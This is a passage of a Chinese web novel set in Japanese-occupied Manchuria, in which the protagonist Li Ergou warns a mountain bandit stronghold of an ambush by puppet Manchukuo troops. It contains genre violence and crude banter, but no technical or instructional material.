“先生,”旅馆老板以为李二狗是听到土匪害怕了,“您不要害怕,他们这些人做生意很地道,正要钱到位,童叟无欺。” 李二狗作为土匪领域的佼佼者又怎么会害怕土匪?他只是担心找土匪走私药材有些得不偿失,毕竟两万斤药材,偷运费不会是小数目。 “既然这样那我就去走一趟,多谢老板了。” 第491章 有埋伏 李二狗刚转身离去,旅馆老板就立即喜笑颜开地把柜台上的五块大洋抓在手里掂了掂。 就在他尚未装入口袋时,李二狗又返回了。 “先生,您这是……” 旅馆老板吓了一跳,以为李二狗后悔给大洋给多了。 “老板,你这里有没有马?我想租一匹。” 旅馆老板见李二狗出手如此阔绰,问个事就给五块大洋,这些钱足够他买三匹马,把马借给他,自己肯定不会吃亏。 “马在后院拴着,什么租不租的,先生您尽管骑走好了,只要按时还回来就行。” 李二狗又岂是贪这点小便宜的之人,他掏出两块大洋放在柜台上。 “谢了,老板!” 望着李二狗伟岸的背影,摸着柜台上的两块大洋,旅馆老板不禁感慨道:“这人可真有意思,一看就不是普通人!” 李二狗快步来到旅馆后院,骑上一匹枣红色的骏马直奔奉天城东。 出了奉天城,往东走了大约二十里路,果然见有一座高山。 周围群山林立,到处都是悬崖峭壁,确实是一个落草为寇的好地方。 山下立有一块巨大的石头,上面写着“和尚岭”三个红彤彤的大字。 李二狗把马拴在一棵大树上,因为山路陡峭,他准备步行上山。 站在山脚下,他深吸了几口新鲜的空气,突然嗅到空气有一股硝烟的味道。 他警惕地向四周看了看,除了凛冽的寒风不时吹过面颊,并没有发现其他任何异常。 难道是自己疑神疑鬼? 李二狗担心天黑之后上山会遇到不必要的麻烦,便加快脚步向山上走去。 但这股硝烟的味道时刻弥散在空气中,以前每次遇到危险,李二狗总会有这种预感,难道…… 此时,李二狗已经走到半山腰。 夕阳西下,落日余晖染红了西方大半个天空。 他站在半山腰的一块大石头上,望向山下。 夕阳落在山下的一片松树林中,突然,他看到树林中有几处亮光闪过。 李二狗第一反应是夕阳照射在刺刀上造成的反射。 “不好,林子里有埋伏!” 李二狗不禁倒吸一口凉气。 此时自己如果下山,很可能会被他们当成土匪擒获。 如果上山…… 他不知道那片树林里究竟埋伏了多少人马。 中国生产的老套筒、汉阳造这类步枪根本不会配发刺刀,日本鬼子的三八大盖步枪才配发明晃晃的刺刀,难道树林里埋伏的是日本关东军? 听说日本关东军的战斗力非常强悍,连几十万东北军都不是他们的对手,区区几个和尚岭的土匪又岂能是他们的对手? 李二狗脑海中快速思索着应对之策,最后他还是毅然决然地选择继续上山。 因为此时下山只有死路一条,唯有上山才有活路。 他知道,如果山上这群土匪被日本人消灭了,就没有人帮着他偷运药材了! 想到这,李二狗加快了脚步,几乎是一路小跑上了山! 他远远地看见山寨的寨门建在两处石坡中间,寨门上方挂着“清风寨”三个大字。 李二狗不禁哑然失笑,没想到在东北这片辽阔肥沃的土地上竟然也有一个土匪山寨叫清风寨,看来自己和这个山寨真是有缘。 “站住!” 突然,路两旁的树林里窜出四个持枪土匪,把李二狗团团围住! “别开枪!”李二狗赶忙把双手举过头顶,“我是来找你们大当家谈生意的。” 听到谈生意,四个土匪才放松下来,他们这里每天都会有人上山来谈生意。 其中一个土匪一只眼睛上戴着一个黑色的眼罩,看样子是一个小头目,他上下打量了李二狗一番。 “听口音你是关内来的吧?” “是的,请你们带我马上去见你们大当家的,我有重要的事情和他说。” 独眼龙看李二狗谈吐不凡,见到土匪不仅不慌乱,还指名要见大当家的,想来不是一般人物。 “来人,给他戴上头罩,带上山去。” 李二狗没想到这里的土匪还有这种规矩,陌生人上山之前给戴上头罩,确实可以保护山寨的安全。 他心想,等自己回到江东之后,清风集团也要执行这个规矩。 见贤思齐,才能走的更加长远。 一个土匪上前,粗鲁地给李二狗戴上一个黑色头罩,然后两个人从后面押着他向山寨走去。 前面带路的土匪走得特别慢,李二狗心急如焚。 如果此时山下埋伏的队伍突然发起袭击,这群土匪肯定招架不住,关键是还会连累自己。 自己可不想把命留在这荒郊野岭。 “兄弟,能走快点吗?我想快点见到你们大当家的。” “少他娘的废话,到了我们清风寨,一切都得听我们的!” “兄弟……” 李二狗还要说话时,突然被人从身后踢了一脚他的屁股,要不是因为他武术根基扎实,双腿有力,肯定会摔个狗啃屎。 “再他娘的啰哩啰嗦,信不信老子一枪毙了你?给我安静点!” 好汉不吃眼前亏,李二狗只能白挨这一脚。 走了大约十分钟,李二狗隐约感觉自己被带到了一个屋子里。 一个土匪把他的头罩摘下来,他揉了揉有些酸痛的眼睛,果然被带到了一间屋子里。 屋内只点了一盏煤油灯,灯芯特别小,显得十分灰暗。 “兄弟,你们大当家的呢?” 独眼龙呵呵一笑,说道:“我们大当家的岂是你想见就能见的?你在这里给我老实待着,不许走出这间屋子,否则后果自负,我们走。” 就在独眼龙转身要离开的时候,李二狗上前一把拉住他的胳膊。 “你他妈的……” 独眼龙以为李二狗要动粗,手刚要摸向腰间去掏枪,李二狗已经握住了他的手腕。 力度虽不大,但独眼龙挣扎了数次都挣脱不了李二狗的束缚。 这次他碰到了硬茬子。 此时如果李二狗想扭断他的手腕易如反掌,独眼龙内心有些胆怯。 他强装镇定道:“进了我们清风寨,难道你还敢动粗不成?” 李二狗当然不想和他动粗,但他并没有松开他的手腕。 第492章 小雏鸡 “我并不想动粗,只想见你们大当家的,我有要事相告。” “我们大当家的正在给二当家、三当家的接风,想来今晚是没有时间见你了,等明天他睡醒之后我会向他报告的,你就在这里安心睡一觉,放心,这里很安全。” “不行啊兄弟,我等不了明天。” “你到底想干什么?” 李二狗心想,如果此时不告诉他实话,肯定见不到他们大当家的。 “兄弟,实不相瞒,刚才我在上山的时候看到山下那片树林里有埋伏,我担心他们是针对你们清风寨的。” “有埋伏?”独眼龙有些不相信,“你亲眼看到了?” 李二狗摇了摇头:“我没有看到,但我确定树林里有埋伏,很有可能是日本人。” 独眼龙心想,这个人为了见大当家的可真是煞费苦心,竟然连日本人都搬出来了。 但此时李二狗攥着他的手腕,他只好应承道:“好,你先放开我,我去向我们大当家的报告。” 李二狗一听,赶紧松开他的手腕并道歉道:“对不起了兄弟,刚才多有冒犯,实在是因为事情紧急,拜托了。” 独眼龙见李二狗出手不凡,又是上门求做生意之人,他不想坏了清风寨的名声。 “你在这里等着,我这就去向我们大当家的汇报、” 出了门,独眼龙来到聚义堂门口。 他看见大当家的镇东北正在里面和几个当家的把酒言欢。 他了解镇东北的脾气,此人性格暴躁,最不喜欢别人扫了他的雅兴。 如果李二狗说的是谎话,不仅他会吃不了兜着走,自己也会跟着受牵连。 但如果山下真有埋伏,这可关乎山寨生死存亡,他更是承担不了这么大的责任。 “小东北,你过来。”他朝身后的一个土匪招手道。 “大眼哥,你什么吩咐?” “你带个兄弟到山下树林里看看那里到底有没有埋伏,注意隐蔽。” 小东北不满道:“大眼哥,你真信那个人的鬼话啊?如果他真的发现山下有埋伏他自己还敢上山?早就吓得屁滚尿流地跑了。” 独眼龙一想,小东北的话确实有几分道理。 但他还是命令小东北去山下树林里看一看,反正这事不用他自己跑腿。 “宁可信其有,不可信其无,去看一看,晚上咱们也能睡个好觉,快去吧,回来老子赏你一坛地瓜烧。” 小东北尽管内心有一万个不愿意,但他也不敢违抗独眼龙的命令。 他领着一个小土匪便下了山。 小土匪刚上山不久,胆子还没有磨练出来,刚刚听到山下有埋伏,内心显得非常紧张。 “北哥,这黑灯瞎火的,真有人敢偷袭咱们清风寨吗?” 小东北不以为然地说道:“谁吃了熊心豹子胆敢偷袭咱们清风寨?就咱们这险要的地势,来一个团的日本鬼子咱们都不怕!” 小土匪顿时对小东北佩服的五体投地,这豪迈的言语确实有大山寨的气魄。 “北哥,在咱们清风寨,我最佩服的人除了大当家的就是你了,嘿嘿。” 小东北被人这么一捧,顿时有些飘飘然。 “这算什么?等过几天哥带你下山找几个娘们耍耍,你小子还是个雏鸡吧?哈哈,哥带你开开荤。” 小土匪得到小东北的认可,顿时笑出了声。 “谢谢北哥,我早就听兄弟们说北哥为人仗义,果然是真的,嘿嘿。” 其实根本没人对小土匪说过这种话,都是他胡编乱造的。 但小东北却信以为真。 “这都是兄弟们抬爱,大家都是好兄弟嘛,当然得有福同享,有难同当了。” “北哥,我听说你和咱们大当家的镇东北是亲戚?” 小东北嘴角抽搐了一下,经常有新上山的弟兄问他这个问题。 “有些事情你自己知道就好,可千万不要和别人乱说,咱们大当家的最不喜欢被人说任人唯亲,我看你这人老实才告诉你的,一定要保密,知道吗?” 小东北在小土匪眼中的形象愈发高大起来。 人家有这么硬的关系还能这么低调,真是一个能做大事之人。 “北哥,以后你就是我大哥,以后你可得多提携点兄弟啊。” 小东北拍着胸脯保证道:“放心,哥哥以后罩着你。” 说话间,两人已经快走到山脚下。 “北哥,你看下面黑灯瞎火的,咱们还去吗?” 小东北笑道:“看你小子吓得那样,真是没出息,有哥在,你怕个鸟啊?” “那人不是说树林里有埋伏吗?” “我说你小子是不是傻?真有埋伏他自己还敢上山?” “难道他敢对咱们说谎话?” “他不是说了吗?他自己也没有看清楚,这明显是给自己留了后路,你小子还是太嫩,多跟哥学着点吧。” 小土匪再次对小东北佩服的五体投地。 “北哥,要不是因为有你,我都不知道自己要走多少弯路。” 小东北自豪地说道:“这些都是小意思,跟哥学着点吧,哥有一肚子主意能教给你。” “嘿嘿,谢谢北哥,那咱现在还去山下吗?” 小东北想了想,好不容易晚上能下山一趟,就这样空手回去岂不是浪费了如此美好的夜晚。 他一脸淫笑地问小土匪:“想不想玩个娘们?” 小土匪羞得脸都红了,他确实是个小雏鸡,长这么大还没有碰过女人。 “嘿嘿,当然想了,俺做梦都想。” “看你小子那没出息的样,走,哥带你到附近村子里找个娘们玩玩。” 小土匪上山的时候学过寨规,明确规定不许糟蹋妇女。 “北哥,咱们去村子里找娘们是不是违反寨规啊?” 小东北一巴掌打在他的脑袋上,骂道:“我说你小子是不是榆木脑袋啊?你不说我不说,谁知道咱们是谁?再说这黑灯瞎火的,咱们办完就走,你怕个鸟啊?你要不想去,现在滚回山寨,老子自己去。” 小土匪被小东北一巴掌打清醒了。 他摸着被打的脑袋笑道:“嘿嘿,北哥,我错了,你还是带我去吧,嘿嘿。” “傻雏!待会到了村子一切听我指挥,别他娘的见了娘们就晕菜!” “嘿嘿,我一切都听北哥的。” 第493章 十万火急 两人有说有笑地往山下走去。 “北哥,咱们去哪个村子?前两天我听他们说,象牙山村有个小寡妇长得可带劲了,那屁股大的和磨盘似的,要不然咱们去会会她?” 小土匪脑海中想象着那个寡妇肥硕丰满的屁股,不自觉地流出了口水。 “北哥,光想一想就满嘴流水,嘿嘿。” “北哥……” 小土匪说了半天,身后一直没有动静,他刚回头,就惊恐地睁大了眼睛。 “别动!不然一枪打死你!” 一个伪满军的士兵已经用枪顶在他的脑门上,另一个上前缴了小土匪的枪。 小土匪顿时吓傻了,他下意识地把双手举过头顶,双腿直打颤。 “别……别……别开枪,我……我不动!” 借着微弱的月光,小土匪看见小东北的尸体躺在路旁的乱石中,顿时胃里一阵翻腾,一股温热的液体从两腿之间流了下来。 他再也站立不住,瘫坐在地上,呕吐不止。 “班长,这小子吓尿了,真他娘的是个废物,我看还是宰了算了。” “连长让咱们抓个活口,还是先留他一条狗命吧,你把他带到树林里。” 伪满军士兵厌弃地用手在自己鼻前挥了挥手,又尿又呕,味道实在难闻。 “废物,吓成这样!快起来,不然老子一枪崩了你。” 小土匪尽管已经两腿不听使唤,但求生的本能还是让他不得不强撑着身体站了起来。 “快点!真他娘的磨叽。” 伪满军押着小土匪进入了旁边的树林里,小东北的尸体在月光下显得十分寂寥。 李二狗在屋里等了许久,一直没有动静,他心急如焚。 他走到门后,伸手拉了拉门,没有拉开,门外已经上了锁。 “外边有人吗?快开开门,我有要事要见你们大当家的。” 外边传来一阵呼啸的西北风,吹得门板“咣咣”作响。 “快开门啊!” 李二狗气愤地一脚踢在门板上,心里咒骂道:“你们自己想找死,不要连累老子!” 此时,镇东北早已喝得酩酊大醉,搂着娘们回屋睡觉去了。 独眼龙安排小东北下山查看之后,也回屋搂着女人睡着了,他早已把这件事忘到九霄云外。 李二狗不是坐以待毙之人,他看到屋后有一个木质的窗户,顺手抄起一个板凳,狠狠地砸了上去。 “砰!” 窗户被砸了一个大窟窿,李二狗跳到木床上,又抬脚踢了几下,然后从窗户跳了出去。 砸窗这么大的动静,山寨里竟然没有人听见,这样的山寨被毁灭只是一瞬间的事情。 李二狗不想和他们一起共赴黄泉,便想到尽快离开山寨这个是非之地。 快走到山寨门口时,李二狗停下了脚步。 能在日本人统治的地方造反,在某种意义上来说是民族英雄。 退一步讲,这些人和自己是同行,眼睁睁地看着他们被日本人消灭,于情于理都说不过去。 李二狗想在自己临走之前提醒一下他们,他们活下来,对自己偷运药材也有帮助。 他转身看着一个偌大的黑漆漆的山寨,自己到哪里去找镇东北呢? 正在这时,两个举着火把巡逻的土匪向李二狗这个方向走来。 李二狗赶紧躲到一棵大树后面,等土匪走过去之后,他从后面一掌打晕一个土匪,迅速上前捂住了前一个土匪的嘴。 “别说话,不然我立刻扭断你的脖子,听清楚了就点点头。” 土匪睁大的双眼里充满了惊恐,他赶紧点了点头。 “你们大当家的住在什么地方?现在带我去!” 一听说这个人要找镇东北,土匪立刻变得犹豫起来。 要是带他去,事后自己肯定会受到惩处,弄不好还会丢了性命。 可要不带他去,自己可能立马就没了性命。 “快点前面带路!” 李二狗双手猛地一紧,土匪立马认怂。 “好好好,我现在带你去!” “要是敢耍花招,老子立马宰了你。” “不敢,不敢!” 李二狗从土匪身上搜出一把驳壳枪,顶在他的腰上。 两人走了大约两分钟,来到一个由多根粗大木头搭建的房子前。 “我们大当家的就住在这里。” 李二狗用枪顶了顶他的腰,低喝道:“你去敲门!” 这个土匪登时吓坏了! 他如果敲了门,以后肯定会被秋后算账,他了解镇东北的暴脾气,最痛恨没有骨气之人。 他双腿一软,跪倒在地。 “好汉,好汉,你就饶了我吧!” 李二狗没有心软,他低声威胁道:“你想脑袋现在开花吗?快去。” 土匪没有办法,只能颤巍巍地敲响了房门。 “砰砰砰!” 他轻敲了三下房门,里面并没有任何回应。 镇东北喝醉了酒,回到房间后又和一个女人大战了数个回合,早已累得筋疲力尽,此时正在床上睡的香甜。 土匪内心稍安。 “好汉,里面没有动静,可能我们大当家的不在。” 李二狗分明听到里面有鼾声响起,肯定在里面。 “再敲!动静大些,快点!” 土匪没有办法,只能再次敲响了房门。 “谁在敲门?打扰大当家的睡觉,活得不耐烦了吗?” 说话的是个女人,并不是镇东北的声音。 “夫人,我是羊羔子,我……我找大当家的有急事禀告。” “什么急事不能等到明天天亮再说?大当家的已经睡下了。” 土匪结结巴巴不知道说什么好,李二狗在他耳边提醒道:“就说十分火急,必须现在禀告大当家的。” “夫人,是十万火急之事,必须现在和大当家的说。” “大当家的,大当家的,你醒醒,醒醒……” 喊了好几声,镇东北才缓缓睁开惺忪睡醒。 他一把搂住她,笑嘻嘻地问道:“小宝贝,又想了?” 女人捶了他一下,说道:“羊羔子在外边找你,说有重要事情禀告。” “他娘的,深更半夜的有什么重要的事?” “说是有十万火急的事情,他现在正在门外等着呢。” 镇东北躺在床上没有动,喝骂道:“羊羔子,你他娘的有什么屁快点放!” 羊羔子瞅向李二狗,不知道该如何回答。 第494章 李二狗被打晕 “大当家的,山下有埋伏的日本鬼子!” 羊羔子被吓得噤若寒蝉,李二狗只好挺身而出,说出了这件十万火急的事情。 一听到山下有埋伏的日本鬼子,镇东北马上清醒过来,他丝毫没有听出说话之人的声音并不是羊羔子的声音。 他掀开被子翻身下床,一边找寻自己的裤子,一边大声问道:“这消息属实吗?” “千真万确!”李二狗脱口而出。 镇东北找了半天也没有找到自己裤子。 “他娘的,老子的裤子呢?老子的裤子去哪里了?” 女人穿着小红肚兜赶紧从床上下来,在不远处的桌子底下找到了他的裤子。 镇东北接过裤子胡乱地穿上,出门前还不忘回头提醒身上只穿着一件小红肚兜的女人:“你赶紧去被窝里躺着,别冻着身子。” 女人低头看了看自己身上的小红肚兜,完全包裹不住里面的波涛汹涌,这是她引以为傲的地方。 虽不感到羞涩,但她还是上床钻进了被子,寒冬腊月的天气,实在是太冷了。 她钻进被窝之后,镇东北才从里面打开房门,大声问道:“日本鬼子来了吗?谁看到了?” 他丝毫没有察觉到李二狗这个陌生的面孔。 “大当家的,我上山的时候的确发现山脚下的那片小树林里有埋伏!” 镇东北看向李二狗身后的羊羔子,呵斥道:“你他娘的还傻站在那里干什么?赶紧集合队伍,让二当家的、三当家的和军师马上到聚义堂等我。” 羊羔子此时尚未从刚才的惊吓中缓过神来,镇东北说完,他竟站在原地没有挪动。 镇东北一看羊羔子没动弹,气得上前一脚踹在他的肚子上,大声呵斥道:“你他娘的还愣在那里干什么?快去啊!” 羊羔子被一脚踹翻在地,从地上爬起来后人才恢复了清醒。 他忍着疼痛退后两步,结结巴巴地说道:“大当家的,这个人……这个人他不是咱们山寨的。” 镇东北听后大吃一惊,再次看向李二狗,果然是一个生面孔。 他下意识地摸向腰间,才发现由于刚才出来的急,身上根本没有带枪,而李二狗的手里却握着一把驳壳枪。 “你……你是什么人?” 李二狗微微一笑,把手里的枪口垂了下来。 “大当家的不要紧张,我只是来山寨找您谈生意的。” 镇东北不愧是清风寨的大当家,果然是见过世面之人,他很快从慌乱中镇静下来。 “谈生意?谈生意为什么深夜带枪到我房门口?” 李二狗并不想和他们起冲突,忙解释道:“大当家的,您听我说,我……” “不许动!” 正在李二狗解释之时,突然被人用枪顶在了他的后背上。 原来是先前被他打晕的那个土匪,带着几个土匪悄悄摸了过来,把李二狗团团围住。 李二狗刚才只顾着向镇东北解释,完全没有发现有人抄了他的后路。 前后都有人用枪指着他,李二狗只好把双手举了起来。 “大当家的,别开枪!我说的可都是实话啊。” “实话?”镇东北狞笑着走向前,从李二狗手里夺过驳壳枪,“是不是实话待会儿就知道了,把他给我绑起来!” “大当家的,山下真有日本鬼子……” 李二狗因为着急,把手从头顶放下来,快速走向镇东北。 身后的人以为李二狗要对镇东北动手,一枪托砸在李二狗的后脑勺上,他眼珠子一翻,当场昏死过去。 “大当家的,这人怎么办?” 镇东北瞅了一眼躺在地上的李二狗,心想,这个人到底是什么人? 为什么要深夜跑到自己房门口说日本鬼子已经埋伏在山下? 难道他是日本特务? 这不可能! 如果他是日本特务,完全没有必要深夜潜入山寨来告诉自己这些! 那他到底是什么人呢? “先把他带下去关起来, 马上通知弟兄们到聚义堂集合。” 此事关乎山寨生死存亡,镇东北不敢怠慢,宁可信其有,不敢信其无。 清风寨聚义堂,灯火通明。 “大哥,到底怎么回事?”二当家见到镇东北,张口问道。 “是啊,大哥,我听说有日本鬼子?”三当家心中也是充满了疑惑。 不仅他们内心充满了疑惑,镇东北心中同样充满了疑惑。 “二弟,三弟,有人向我报告说,山下有埋伏的日本鬼子。” 站在大堂的独眼龙听到镇东北的话,才想起自己已经派小东北下山侦察去了,他向四周瞅了瞅,并没有发现小东北的身影。 他不敢隐瞒,上前说道:“大当家的,我有事禀告。” “大眼,什么事?快说。” “大当家的,我已安排小东北带着一个兄弟下山侦察去了。” 镇东北喜出望外,赶忙问道:“侦察到什么没有?” 独眼龙眼睛瞥了一眼镇东北,结结巴巴地说道:“他……他们现在还没回来?” “什么时候下的山?”镇东北眼神犀利地盯着独眼龙。 “大约晚上八点的时候。” “我日你奶奶个嘴,现在都几点了?为何不早来禀报。” 独眼龙忙解释道:“大哥,我看你喝多了,没敢打扰你。” 二当家忙说道:“大哥,我看咱们还是做好准备,以防万一啊。” 镇东北点了点头,说道:“老二,你马上带领几个兄弟到寨门口,防止日本鬼子摸进来。” “老三,你马上集合队伍,准备战斗。” 一直站在镇东北身后的一个留着长须的老年人忙上前说道:“大当家的,日本鬼子来者不善呐,咱们这些人可不是他们的对手,我建议咱们还是先撤吧!避避风头再说。” 说话之人是和尚岭清风寨的狗头军师,名叫费五,是前清的一个秀才。 此人满腹经书,百无一用! 清风寨建立在和尚岭的悬崖之上,三面全都是悬崖峭壁,虽然这种地形易守难攻,但也很容易成为瓮中之鳖。 更重要的是镇东北在这里经营清风寨多年,他不愿意轻易放弃这份基业。 第495章 故人重逢 费五见镇东北一直紧皱眉头,没有说话,以为他正犹豫不决,便继续晓之以情,动之以理。 “大当家的,俗话说的好,好汉不吃眼前亏,留得青山在,不怕没柴烧,等日本鬼子走了,咱们可以再回来嘛,他们不可能永远不走的。” 费五说得神采飞扬,丝毫不觉得此时撤退是什么丢人的事情。 几十万东北军都跑了,何况他们只是一个小小的土匪山寨! 打不过就跑才是俊杰! 其实镇东北内心确实在犹豫,毕竟面对的敌人可能是日本关东军。 但是山下到底有没有埋伏的日本鬼子目前尚未可知,如果此时匆忙撤离,事后证明只是虚惊一场,他将无颜面对山寨的兄弟们,也会被周围的土匪山寨当作笑柄。 “大哥,我看咱们不能撤,日本鬼子也没有什么好怕的!” 二当家说得慷慨激昂,他一直瞧不上费五,一个贼眉鼠目的男人。 “是啊,大哥,”三当家的当即附和道,“都是两个肩膀扛一个脑袋,咱们怕日本鬼子个逑啊?!” 费五捋了捋自己的胡须,不以为然地说道:“识时务者为俊杰,我们现在的力量……” 镇东北突然一扬手,打断了费五的话。 “老二,老三,你们赶紧按我刚才的安排去准备。” “是!” 两人鄙夷地看了费五一眼,领命而去。 “独眼龙,你马上带两个兄弟下山去侦察,一有情况马上来报!” 独眼龙心里怕得要死,但此时他可不敢违抗命令。 “是!” 独眼龙转头对着两个土匪说道:“你们两个跟我来!” 被点名的两个土匪心里问候了独眼龙八辈祖宗,但也没有办法,只能跟着他走了出去。 “大当家的,咱们这样和日本人硬拼可不是办法啊,日本人连东北军都不怕,咱们……” “军师,日本人抢占咱们东三省,每一个中国人都和他们有不共戴天之仇。” “可是咱们现在的力量和日本人比起来,实在是有云泥之别啊,这是蚍蜉撼大树啊!” 费五拽起了文词,他觉得镇东北等人读书少、见识短,只会逞英雄,早晚得吃亏! 镇东北不满地瞪了费五一眼,呵斥道:“军师,你怎么老是长别人志气,灭自己威风?” 费五惯于察言观色,看镇东北面露不悦之色,赶忙解释道:“大当家的,你别误会,我不是这个意思。” “那你是什么意思?” “我的意思是说咱们目前力量还很弱小,应该等咱们自身力量强大之后,再去和日本人硬碰硬的干也不迟啊!” 镇东北冷哼一声,心中很是不以为然。 “咱们山寨这两年,没少和日本人作对,不然他们也不会来攻打咱们。是福不是祸,是祸躲不过,今天老子非要和这群狗娘养的小日本过过招不成!老子就是崩掉两颗门牙,也要咬下他们身上一块肉来。” “大当家的,日本鬼子可是凶残的很呐,咱们这几十号人马……” “军师,你如果害怕,可以从后山先走,我绝不拦着,撤退的话不要再说了!” 镇东北发了火,费五不敢再劝。 “大当家的,我怎么会先走?我费五是什么样的人,你心里还不清楚吗?我一定和咱们山寨共进退!” 镇东北虽然没有费五读书多,但也明白轻言大义者,临阵必变节的道理。 费五因为当年救过镇东北的命,所以才邀请他到山寨当军师,对于他的能力,山寨兄弟大多不认可。 他此时要走,镇东北绝不会拦着。 “军师,你在聚义堂坐镇指挥,我去外边看看。” 等镇东北走出聚义堂之后,费五赶紧回到自己屋,有些东西他必须带在身上,准备随时离开。 镇东北来到山寨门楼之上。 “大哥,你来了。” “二弟,怎么样?山下有动静吗?” “没有,不过我感觉今晚山里太安静了,连只鸟叫都没有,实在是太诡异了。” 镇东北看向山下,寒风凛冽,松涛阵阵,但是确实没有一声鸟叫,安静的吓人。 “二弟,看来那个人说得没错,山下很可能有埋伏。” “那个人?哪个人?”二当家的丈二和尚摸不着头脑。 “一言难尽,咱们还是先想个退敌之策吧。” “大哥,以我对日本人的了解,他们一向看不起咱们中国人,对付像咱们这样几个土匪不可能出动关东军。” “二弟,你何出此言呐?” “大哥,日本人不仅看不起咱们,也看不上满军那些狗腿子,有狗腿子冲在前面为他们卖命,他们何必自己动手呢?” 镇东北点了点,夸赞道:“二弟,你说的很有道理,比咱们费军师可强多了。” 二当家的鼻子里冷哼一声,不屑地说道:“那是个老废物,咱们早就该把他撵出山寨了。” “这个还是等以后再说,二弟,不管山下是日本关东军还是伪满军狗腿子,咱们都必须尽快想到退敌之策才好啊。” 二当家的说道:“大哥,现在关键是咱们并不知道他们到底埋伏在什么地方,来了多少人,带了什么武器。” 镇东北不由得叹息一声,心中无限惆怅。 “独眼龙怎么还不回来?” 两人并肩望向山下,面色凝重。 “大哥,你刚才说的那个人现在在哪?他可能知道一些情况。” “二弟所言极是,他被我关起来了,我马上让人把他带到这里来。” 镇东北向身后的一个土匪命令道:“马上去柴房把那个人带到这里来。” 很快,李二狗便被两个人押到了寨门下。 此时,他的脑袋还晕乎乎的,这一枪托砸得力度着实不小。 “大当家的,人带到了。” 镇东北和二当家的从寨门楼上走了下来。 “恩人,你怎么在这里?” 二当家的一个箭步冲到李二狗面前,原来他就是在奉天城被李二狗搭救的柱子。 李二狗抬眼看到柱子那张被火把映红的脸,果然是他搭救的那个人。 第496章 识破敌人诡计 李二狗没想到在土匪山寨遇到柱子,他一直以为柱子兄弟俩是抗联的人。 “柱子兄弟,你怎么在这里?” 柱子忙向镇东北介绍道:“大哥,这就是我给提起的奉天城的那位恩人狗子,就是他救了我和栓子的命。” 此时,镇东北脸上显得有些尴尬,把山寨的恩人捆起来,实在不是他们清风寨的待客之道。 “哎呀,这可真是大水冲了龙王庙,一家人不认一家人了,狗子兄弟,实在是对不住啊。” 他看到李二狗身上还绑着绳子,便亲自到他身后给他解开。 李二狗苦笑道:“这个不怨大哥,是我自己唐突了。” “恩人,我来给你介绍,这位就是我们清风寨的大当家镇东北。” 镇东北是一个中年人,肯定比李二狗年纪大,李二狗纳头便拜。 “大哥在上,请受小弟一拜。” 镇东北忙扶起李二狗,笑道:“狗子兄弟救了老二老三,应该是我们拜你才对啊。” 镇东北说完作势要拜,被李二狗一把拉起了。 “大哥,兄弟只是举手之劳,根本不足挂齿!大哥以后可别再提了,小弟愧不敢当啊!” 李二狗豪爽的性格很对镇东北的脾气。 他笑道:“狗子兄弟,这些咱们等以后再说,目前还是先想想怎么退敌吧。” 三人来到门楼上,弯弯的月芽已躲进云层中,山下一片漆黑,只听到见源源不断的松涛声。 “兄弟,我已派了两拨兄弟下山侦察,到现在一个都没有回来。” 李二狗凝视着山下,心中充满了疑惑:“大哥,我想敌人这时候还没动静,肯定是想在后半夜趁我们不备时再动手,可……” “狗子兄弟有话直说无妨!” “从现在的情况来分析,可能我先前的判断是错误的。” 镇东北和栓子都不明白李二狗此话的意思,镇东北问道:“兄弟,你此话怎讲?” “我上山的时候看到树林里有刺刀的反光,便第一时间以为树林里埋伏的都是日本鬼子,现在想想,应该不是日本鬼子,如果真是日本鬼子,他们应该不会如此大费周章,直接架上机枪和迫击炮,咱们这样的山寨能顶得住吗?” 镇东北点头附和道:“兄弟说得有道理,刚才我和二弟也是这样想的,应该是伪满军这些二狗子。” 柱子补充道:“这些伪满军,平时都是一些吃喝嫖赌的东西,论战斗力,三流都算不上,他们之所以埋伏在树林里,就是想等后半夜咱们熟睡之时再发动袭击。” 镇东北是个急脾气,此时他已经有些焦躁不安。 “可咱们现在不知道他们到底有多少人啊?不能就这样被动等待着,必须想出一个办法才行。” 柱子劝慰道:“大哥,你不要着急,咱们现在已经做好了准备,凭借着山寨险要的地形,他们要是敢来,一个也跑不了。” “大哥,你们山寨有没有其他上山的路?”李二狗突然问道。 镇东北面露狐疑之色,他看向李二狗,不知道他为何要问这个问题,这是他们山寨的机密,实在不方便对外人透露。 李二狗问完又看到镇东北的表情,便知道自己问的太过唐突了。 他急忙解释道:“大哥,你别误会,我不是刻意打听你们山寨的秘密。” 柱子说道:“兄弟,你别多想,大哥不是这个意思。” 镇东北说道:“我确实不是这个意思,我只是没明白兄弟的意思。” 李二狗解释道:“刚才大哥说已经安排两拨兄弟下山侦察,到现在都没有回来,我担心有人已经成为了他们的俘虏,如果有其他上山通道,此时很可能已经被敌人掌握了。” 镇东北咬牙切齿道:“老子最恨这种没有骨气的叛徒,不瞒兄弟,山寨后山确实有一个秘密山洞与外界连接。” “大哥,事不宜迟,得赶紧安排人去守住后山山洞。” “老二,你去安排人,一只蚂蚁也不能让进来。” 李二狗急忙说道:“大哥,且慢。” 镇东北问道:“怎么了?狗子兄弟。” “如果后山秘密通道真的暴露了,我们不如将计就计,先放他们进来再围而歼之。” 柱子附和道:“大哥,狗哥这个主意好啊。” 镇东北想了想,这个主意确实不错。 “老二,那你赶紧带人去埋伏好,只要他们进来,务必全歼!” “你就擎好吧大哥,我去了。” 柱子走后,镇东北由衷地说道:“狗子兄弟,你可真有主意啊,我看你就留在山寨给我当军师吧。” 李二狗作为清风集团董事长,又怎会看上一个小小清风寨的军师。 “多谢大哥抬爱,这些事情还是等咱们退敌之后再说吧。” “那咱们下一步怎么办?” 李二狗冷静地分析道:“如果我猜得没错,这股敌人肯定会从寨门这里进行佯攻,以掩护山后的队伍潜入山寨进行偷袭,然后来个里应外合。” 镇东北骂道:“想得倒挺美,老子定让他们有来无回!” 和李二狗判断的一样,在山下树林中埋伏的的确不是日本关东军,而是伪满军队的士兵。 日本人认为出动关东军来消灭几个土匪是对大日本皇军的侮辱。 自从日本统治东三省之后,日本人便在东三省实行商品专卖制度,日本商人趁机攫取高额利润。 清风寨长期参与关内关外的商品走私,早已是日本商人的眼中钉肉中刺。 前段时间,柱子和栓子在奉天城放火焚烧了一个日本人的大型仓库,更是直接激怒了日本人。 这一次,他们派出一个营的伪满军士兵,意图一举消灭清风寨,以绝后患。 和小东北一起下山的小土匪被伪满士兵抓获之后,还没动刑,他便怂了。 可他刚上山不久,又是最底层的土匪,根本不知道清风寨的秘密通道。 本次偷袭清风寨的伪满军队营长叫那麻子,是一个身强体壮的中年人,一脸麻子,为人极其凶残。 他本来打算让小土匪带路,骗开寨门,直到他们抓获了独眼龙。 第497章 誓与山寨共存亡 